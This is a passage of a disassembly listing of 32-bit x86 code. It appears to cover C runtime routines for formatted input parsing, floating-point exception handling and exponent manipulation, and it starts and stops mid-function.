[ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_421564 ; --------------------------------------------------------------------------- loc_421522: ; CODE XREF: sub_420BB0+93j inc [ebp+var_4] push edi call sub_42160C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_421591 mov ecx, off_43F618 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_421564 inc [ebp+var_4] push edi call sub_42160C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_42159F dec [ebp+var_4] loc_421564: ; CODE XREF: sub_420BB0+970j ; sub_420BB0+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_42157A cmp byte ptr [esi], 25h jnz short loc_4215BC mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_4215BC mov esi, eax loc_42157A: ; CODE XREF: sub_420BB0+9B8j mov al, [esi] test al, al jnz loc_420BDA jmp short loc_4215B6 ; --------------------------------------------------------------------------- loc_421586: ; CODE XREF: sub_420BB0+1F4j ; sub_420BB0+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_421596 ; --------------------------------------------------------------------------- loc_421591: ; CODE XREF: sub_420BB0+98Aj dec [ebp+var_4] push edi push ebx loc_421596: ; CODE XREF: sub_420BB0+9DFj call sub_421626 pop ecx pop ecx jmp short loc_4215B6 ; --------------------------------------------------------------------------- loc_42159F: ; CODE XREF: sub_420BB0+9AFj dec [ebp+var_4] push edi push eax call sub_421626 dec [ebp+var_4] push edi push ebx call sub_421626 add esp, 10h loc_4215B6: ; CODE XREF: sub_420BB0+1Fj ; sub_420BB0+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_4215CD loc_4215BC: ; CODE XREF: sub_420BB0+9BDj ; sub_420BB0+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_4215D0 cmp [ebp+var_15], al jnz short loc_4215D0 or eax, 0FFFFFFFFh jmp short loc_4215D0 ; --------------------------------------------------------------------------- loc_4215CD: ; CODE XREF: sub_420BB0+A0Aj mov eax, [ebp+var_34] loc_4215D0: ; CODE XREF: sub_420BB0+A11j ; sub_420BB0+A16j ... pop edi pop esi pop ebx leave retn sub_420BB0 endp ; =============== S U B R O U T I N E ======================================= sub_4215D5 proc near ; CODE XREF: sub_420BB0+7A3p ; sub_420BB0+8DCp arg_0 = dword ptr 4 cmp dword_43F824, 1 push esi jle short loc_4215EF mov esi, [esp+4+arg_0] push 4 push esi call sub_41FBB5 pop ecx pop ecx jmp short loc_4215FE ; --------------------------------------------------------------------------- loc_4215EF: ; CODE XREF: sub_4215D5+8j mov esi, [esp+4+arg_0] mov eax, off_43F618 mov al, [eax+esi*2] and eax, 4 loc_4215FE: ; CODE XREF: sub_4215D5+18j test eax, eax jnz short loc_421608 and esi, 0FFFFFFDFh sub esi, 7 loc_421608: ; CODE XREF: sub_4215D5+2Bj mov eax, esi pop esi retn sub_4215D5 endp ; =============== S U B R O U T I N E ======================================= sub_42160C proc near ; CODE XREF: sub_420BB0+1E1p ; sub_420BB0+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_42161E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_42161E: ; CODE XREF: sub_42160C+7j push edx call sub_41F6E3 pop ecx retn sub_42160C endp ; =============== S U B R O U T I N E ======================================= sub_421626 proc near ; CODE XREF: sub_420BB0+6Bp ; sub_420BB0+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_42163C push [esp+arg_4] push [esp+4+arg_0] call sub_42467F pop ecx pop ecx locret_42163C: ; CODE XREF: sub_421626+5j retn sub_421626 endp ; =============== S U B R O U T I N E ======================================= sub_42163D proc near ; CODE XREF: sub_420BB0+63p ; sub_420BB0+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_421643: ; CODE XREF: sub_42163D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_42160C mov edi, eax push edi call sub_41DD10 pop ecx test eax, eax pop ecx jnz short loc_421643 mov eax, edi pop edi pop esi retn sub_42163D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_421661(int,int,double,int) sub_421661 proc near ; CODE XREF: sub_41CCE5+51p ; sub_41CE2B+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43FF90, 0 jnz short loc_421696 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421C16 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_421696: ; CODE XREF: sub_421661+Aj push 0FFFFh mov dword_4DE5C4, 21h push [ebp+arg_C] call sub_421E89 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_421661 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4216B4(int,int,double,double,int) sub_4216B4 proc near ; CODE XREF: sub_41CCE5:loc_41CDA8p ; sub_41CE2B:loc_41CEEEp var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_4219FF add esp, 0Ch test eax, eax jnz short loc_4216F2 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_42174C add esp, 18h loc_4216F2: ; CODE XREF: sub_4216B4+1Aj push [ebp+arg_0] call sub_421CE9 cmp dword_43FF90, 0 pop ecx jnz short loc_421730 test eax, eax jz short loc_421730 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421C16 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421730: ; CODE XREF: sub_4216B4+4Ej ; sub_4216B4+52j push eax call sub_421C9E mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_421E89 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_4216B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42174C proc near ; CODE XREF: sub_4216B4+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_42177E mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_42177E: ; CODE XREF: sub_42174C+23j test cl, 2 jz short loc_421791 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_421791: ; CODE XREF: sub_42174C+35j test cl, bl jz short loc_4217A3 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_4217A3: ; CODE XREF: sub_42174C+47j test cl, 4 jz short loc_4217B6 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_4217B6: ; CODE XREF: sub_42174C+5Aj test cl, 8 jz short loc_4217C9 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_4217C9: ; CODE XREF: sub_42174C+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_421E6C test al, bl jz short loc_421852 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_421852: ; CODE XREF: sub_42174C+FDj test al, 4 jz short loc_42185D mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_42185D: ; CODE XREF: sub_42174C+108j test al, 8 jz short loc_421868 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_421868: ; CODE XREF: sub_42174C+113j test al, 10h jz short loc_421872 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_421872: ; CODE XREF: sub_42174C+11Ej test al, 20h jz short loc_42187C mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_42187C: ; CODE XREF: sub_42174C+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_4218BB cmp eax, 400h jz short loc_4218AD cmp eax, 800h jz short loc_4218A1 cmp eax, ecx jnz short loc_4218C1 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_4218C1 ; --------------------------------------------------------------------------- loc_4218A1: ; CODE XREF: sub_42174C+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_4218B7 ; --------------------------------------------------------------------------- loc_4218AD: ; CODE XREF: sub_42174C+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_4218B7: ; CODE XREF: sub_42174C+15Fj mov [eax], ecx jmp short loc_4218C1 ; --------------------------------------------------------------------------- loc_4218BB: ; CODE XREF: sub_42174C+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_4218C1: ; CODE XREF: sub_42174C+14Bj ; sub_42174C+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_4218EC cmp eax, 200h jz short loc_4218DF cmp eax, ecx jnz short loc_4218F9 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_4218F9 ; --------------------------------------------------------------------------- loc_4218DF: ; CODE XREF: sub_42174C+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_4218F7 ; --------------------------------------------------------------------------- loc_4218EC: ; CODE XREF: sub_42174C+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_4218F7: ; CODE XREF: sub_42174C+19Ej mov [eax], ecx loc_4218F9: ; CODE XREF: sub_42174C+189j ; sub_42174C+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_421E7A lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call dword_42805C ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_421973 and dword ptr [esi], 0FFFFFFFEh loc_421973: ; CODE XREF: sub_42174C+222j test byte ptr [eax+8], 8 jz short loc_42197C and dword ptr [esi], 0FFFFFFFBh loc_42197C: ; CODE XREF: sub_42174C+22Bj test byte ptr [eax+8], 4 jz short loc_421985 and dword ptr [esi], 0FFFFFFF7h loc_421985: ; CODE XREF: sub_42174C+234j test byte ptr [eax+8], 2 jz short loc_42198E and dword ptr [esi], 0FFFFFFEFh loc_42198E: ; CODE XREF: sub_42174C+23Dj test [eax+8], bl jz short loc_421996 and dword ptr [esi], 0FFFFFFDFh loc_421996: ; CODE XREF: sub_42174C+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_4219CA dec ecx jz short loc_4219BE dec ecx jz short loc_4219B4 dec ecx jnz short loc_4219CC or byte ptr [esi+1], 0Ch jmp short loc_4219CC ; --------------------------------------------------------------------------- loc_4219B4: ; CODE XREF: sub_42174C+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_4219C6 ; --------------------------------------------------------------------------- loc_4219BE: ; CODE XREF: sub_42174C+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_4219C6: ; CODE XREF: sub_42174C+270j mov [esi], ecx jmp short loc_4219CC ; --------------------------------------------------------------------------- loc_4219CA: ; CODE XREF: sub_42174C+257j and [esi], edx loc_4219CC: ; CODE XREF: sub_42174C+260j ; sub_42174C+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_4219EC dec ecx jz short loc_4219E3 dec ecx jnz short loc_4219F5 and [esi], edx jmp short loc_4219F5 ; --------------------------------------------------------------------------- loc_4219E3: ; CODE XREF: sub_42174C+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_4219F3 ; --------------------------------------------------------------------------- loc_4219EC: ; CODE XREF: sub_42174C+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_4219F3: ; CODE XREF: sub_42174C+29Ej mov [esi], ecx loc_4219F5: ; CODE XREF: sub_42174C+291j ; sub_42174C+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_42174C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219FF proc near ; CODE XREF: sub_4216B4+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_421A2A test byte ptr [ebp+arg_8], bl jz short loc_421A2A push ebx call sub_421EAC pop ecx and edi, 0FFFFFFF7h jmp loc_421BF4 ; --------------------------------------------------------------------------- loc_421A2A: ; CODE XREF: sub_4219FF+15j ; sub_4219FF+1Aj test al, 4 jz short loc_421A44 test byte ptr [ebp+arg_8], 4 jz short loc_421A44 push 4 call sub_421EAC pop ecx and edi, 0FFFFFFFBh jmp loc_421BF4 ; --------------------------------------------------------------------------- loc_421A44: ; CODE XREF: sub_4219FF+2Dj ; sub_4219FF+33j test al, bl jz loc_421B1E test byte ptr [ebp+arg_8], 8 jz loc_421B1E push 8 call sub_421EAC pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421AF6 cmp ecx, 400h jz short loc_421ACE cmp ecx, 800h jz short loc_421AA6 cmp ecx, eax jnz loc_421B16 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_428868 fld dbl_43FB90 fnstsw ax sahf ja short loc_421A9E fchs loc_421A9E: ; CODE XREF: sub_4219FF+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421B14 ; --------------------------------------------------------------------------- loc_421AA6: ; CODE XREF: sub_4219FF+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_428868 fnstsw ax sahf jbe short loc_421ABE fld dbl_43FB80 jmp short loc_421AC6 ; --------------------------------------------------------------------------- loc_421ABE: ; CODE XREF: sub_4219FF+B5j fld dbl_43FB90 fchs loc_421AC6: ; CODE XREF: sub_4219FF+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421B14 ; --------------------------------------------------------------------------- loc_421ACE: ; CODE XREF: sub_4219FF+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_428868 fnstsw ax sahf jbe short loc_421AE6 fld dbl_43FB90 jmp short loc_421AEE ; --------------------------------------------------------------------------- loc_421AE6: ; CODE XREF: sub_4219FF+DDj fld dbl_43FB80 fchs loc_421AEE: ; CODE XREF: sub_4219FF+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421B14 ; --------------------------------------------------------------------------- loc_421AF6: ; CODE XREF: sub_4219FF+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_428868 fld dbl_43FB80 fnstsw ax sahf ja short loc_421B0E fchs loc_421B0E: ; CODE XREF: sub_4219FF+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421B14: ; CODE XREF: sub_4219FF+A5j ; sub_4219FF+CDj ... fstp qword ptr [ecx] loc_421B16: ; CODE XREF: sub_4219FF+81j and edi, 0FFFFFFFEh jmp loc_421BF4 ; --------------------------------------------------------------------------- loc_421B1E: ; CODE XREF: sub_4219FF+47j ; sub_4219FF+51j test al, 2 jz loc_421BF4 test byte ptr [ebp+arg_8], 10h jz loc_421BF4 push esi xor esi, esi test al, 10h jz short loc_421B39 mov esi, ebx loc_421B39: ; CODE XREF: sub_4219FF+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_428868 fnstsw ax sahf jz loc_421BE2 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_421DAB mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_421B84 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421BD8 ; --------------------------------------------------------------------------- loc_421B84: ; CODE XREF: sub_4219FF+17Aj fld [ebp+var_C] fcomp dbl_428868 fnstsw ax sahf jnb short loc_421B96 mov edx, ebx jmp short loc_421B98 ; --------------------------------------------------------------------------- loc_421B96: ; CODE XREF: sub_4219FF+191j xor edx, edx loc_421B98: ; CODE XREF: sub_4219FF+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_421BCC sub eax, ecx loc_421BAF: ; CODE XREF: sub_4219FF+1CBj test byte ptr [ebp+var_C], bl jz short loc_421BBA test esi, esi jnz short loc_421BBA mov esi, ebx loc_421BBA: ; CODE XREF: sub_4219FF+1B3j ; sub_4219FF+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421BC6 or byte ptr [ebp+var_C+3], 80h loc_421BC6: ; CODE XREF: sub_4219FF+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_421BAF loc_421BCC: ; CODE XREF: sub_4219FF+1ACj test edx, edx jz short loc_421BD8 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421BD8: ; CODE XREF: sub_4219FF+183j ; sub_4219FF+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421BE4 ; --------------------------------------------------------------------------- loc_421BE2: ; CODE XREF: sub_4219FF+14Ej mov esi, ebx loc_421BE4: ; CODE XREF: sub_4219FF+1E1j test esi, esi pop esi jz short loc_421BF1 push 10h call sub_421EAC pop ecx loc_421BF1: ; CODE XREF: sub_4219FF+1E8j and edi, 0FFFFFFFDh loc_421BF4: ; CODE XREF: sub_4219FF+26j ; sub_4219FF+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_421C0B test byte ptr [ebp+arg_8], 20h jz short loc_421C0B push 20h call sub_421EAC pop ecx and edi, 0FFFFFFEFh loc_421C0B: ; CODE XREF: sub_4219FF+1F9j ; sub_4219FF+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_4219FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421C16(int,int,int,int,int,int,double,int) sub_421C16 proc near ; CODE XREF: sub_421661+2Bp ; sub_4216B4+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421CC4 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_421C81 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_421E89 lea eax, [ebp+var_20] push eax call sub_4246ED add esp, 0Ch test eax, eax jnz short loc_421C7B push esi call sub_421C9E pop ecx loc_421C7B: ; CODE XREF: sub_421C16+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_421C81: ; CODE XREF: sub_421C16+14j push 0FFFFh push [ebp+arg_20] call sub_421E89 push [ebp+arg_0] call sub_421C9E fld [ebp+arg_18] add esp, 0Ch leave retn sub_421C16 endp ; =============== S U B R O U T I N E ======================================= sub_421C9E proc near ; CODE XREF: sub_4216B4+7Dp ; sub_421C16+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421CB9 jle short locret_421CC3 cmp eax, 3 jg short locret_421CC3 mov dword_4DE5C4, 22h retn ; --------------------------------------------------------------------------- loc_421CB9: ; CODE XREF: sub_421C9E+7j mov dword_4DE5C4, 21h locret_421CC3: ; CODE XREF: sub_421C9E+9j ; sub_421C9E+Ej retn sub_421C9E endp ; =============== S U B R O U T I N E ======================================= sub_421CC4 proc near ; CODE XREF: sub_421C16+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43FAA8 loc_421CCB: ; CODE XREF: sub_421CC4+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421CE1 add eax, 8 inc ecx cmp eax, offset dbl_43FB80 jl short loc_421CCB xor eax, eax retn ; --------------------------------------------------------------------------- loc_421CE1: ; CODE XREF: sub_421CC4+Dj mov eax, off_43FAAC[ecx*8] retn sub_421CC4 endp ; =============== S U B R O U T I N E ======================================= sub_421CE9 proc near ; CODE XREF: sub_4216B4+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421CF5 push 5 jmp short loc_421D0B ; --------------------------------------------------------------------------- loc_421CF5: ; CODE XREF: sub_421CE9+6j test al, 8 jz short loc_421CFD push 1 jmp short loc_421D0B ; --------------------------------------------------------------------------- loc_421CFD: ; CODE XREF: sub_421CE9+Ej test al, 4 jz short loc_421D05 push 2 jmp short loc_421D0B ; --------------------------------------------------------------------------- loc_421D05: ; CODE XREF: sub_421CE9+16j test al, 1 jz short loc_421D0D push 3 loc_421D0B: ; CODE XREF: sub_421CE9+Aj ; sub_421CE9+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_421D0D: ; CODE XREF: sub_421CE9+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421CE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421D16(double) sub_421D16 proc near ; CODE XREF: sub_41CCE5:loc_41CD6Bp ; sub_41CE2B:loc_41CEB1p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421D28(double,int) sub_421D28 proc near ; CODE XREF: sub_421DAB+82p ; sub_421DAB+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D51 proc near ; CODE XREF: sub_41CCE5+31p ; sub_41CE2B+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_421D68 cmp [ebp+arg_0], edx jnz short loc_421D7A push 1 jmp short loc_421DA4 ; --------------------------------------------------------------------------- loc_421D68: ; CODE XREF: sub_421D51+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_421D7A cmp [ebp+arg_0], edx jnz short loc_421D7A push 2 jmp short loc_421DA4 ; --------------------------------------------------------------------------- loc_421D7A: ; CODE XREF: sub_421D51+11j ; sub_421D51+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_421D8D push 3 jmp short loc_421DA4 ; --------------------------------------------------------------------------- loc_421D8D: ; CODE XREF: sub_421D51+36j cmp cx, 7FF0h jnz short loc_421DA7 test [ebp+arg_4], 7FFFFh jnz short loc_421DA2 cmp [ebp+arg_0], edx jz short loc_421DA7 loc_421DA2: ; CODE XREF: sub_421D51+4Aj push 4 loc_421DA4: ; CODE XREF: sub_421D51+15j ; sub_421D51+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421DA7: ; CODE XREF: sub_421D51+41j ; sub_421D51+4Fj xor eax, eax pop ebp retn sub_421D51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421DAB(double,int) sub_421DAB proc near ; CODE XREF: sub_4219FF+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_428868 push esi fnstsw ax sahf jnz short loc_421DCB fldz xor esi, esi fstp [ebp+var_8] jmp loc_421E61 ; --------------------------------------------------------------------------- loc_421DCB: ; CODE XREF: sub_421DAB+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_421E3A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421DE3 cmp dword ptr [ebp+arg_0], ecx jz short loc_421E3A loc_421DE3: ; CODE XREF: sub_421DAB+31j fld [ebp+arg_0] fcomp dbl_428868 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_421DFB push 1 pop eax jmp short loc_421DFD ; --------------------------------------------------------------------------- loc_421DFB: ; CODE XREF: sub_421DAB+49j xor eax, eax loc_421DFD: ; CODE XREF: sub_421DAB+4Ej ; sub_421DAB+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421E16 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421E10 or dword ptr [ebp+arg_0+4], 1 loc_421E10: ; CODE XREF: sub_421DAB+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_421DFD ; --------------------------------------------------------------------------- loc_421E16: ; CODE XREF: sub_421DAB+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_421E24 or byte ptr [ebp+arg_0+7], 80h loc_421E24: ; CODE XREF: sub_421DAB+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421D28 fstp [ebp+var_8] add esp, 0Ch jmp short loc_421E61 ; --------------------------------------------------------------------------- loc_421E3A: ; CODE XREF: sub_421DAB+28j ; sub_421DAB+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421D28 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh 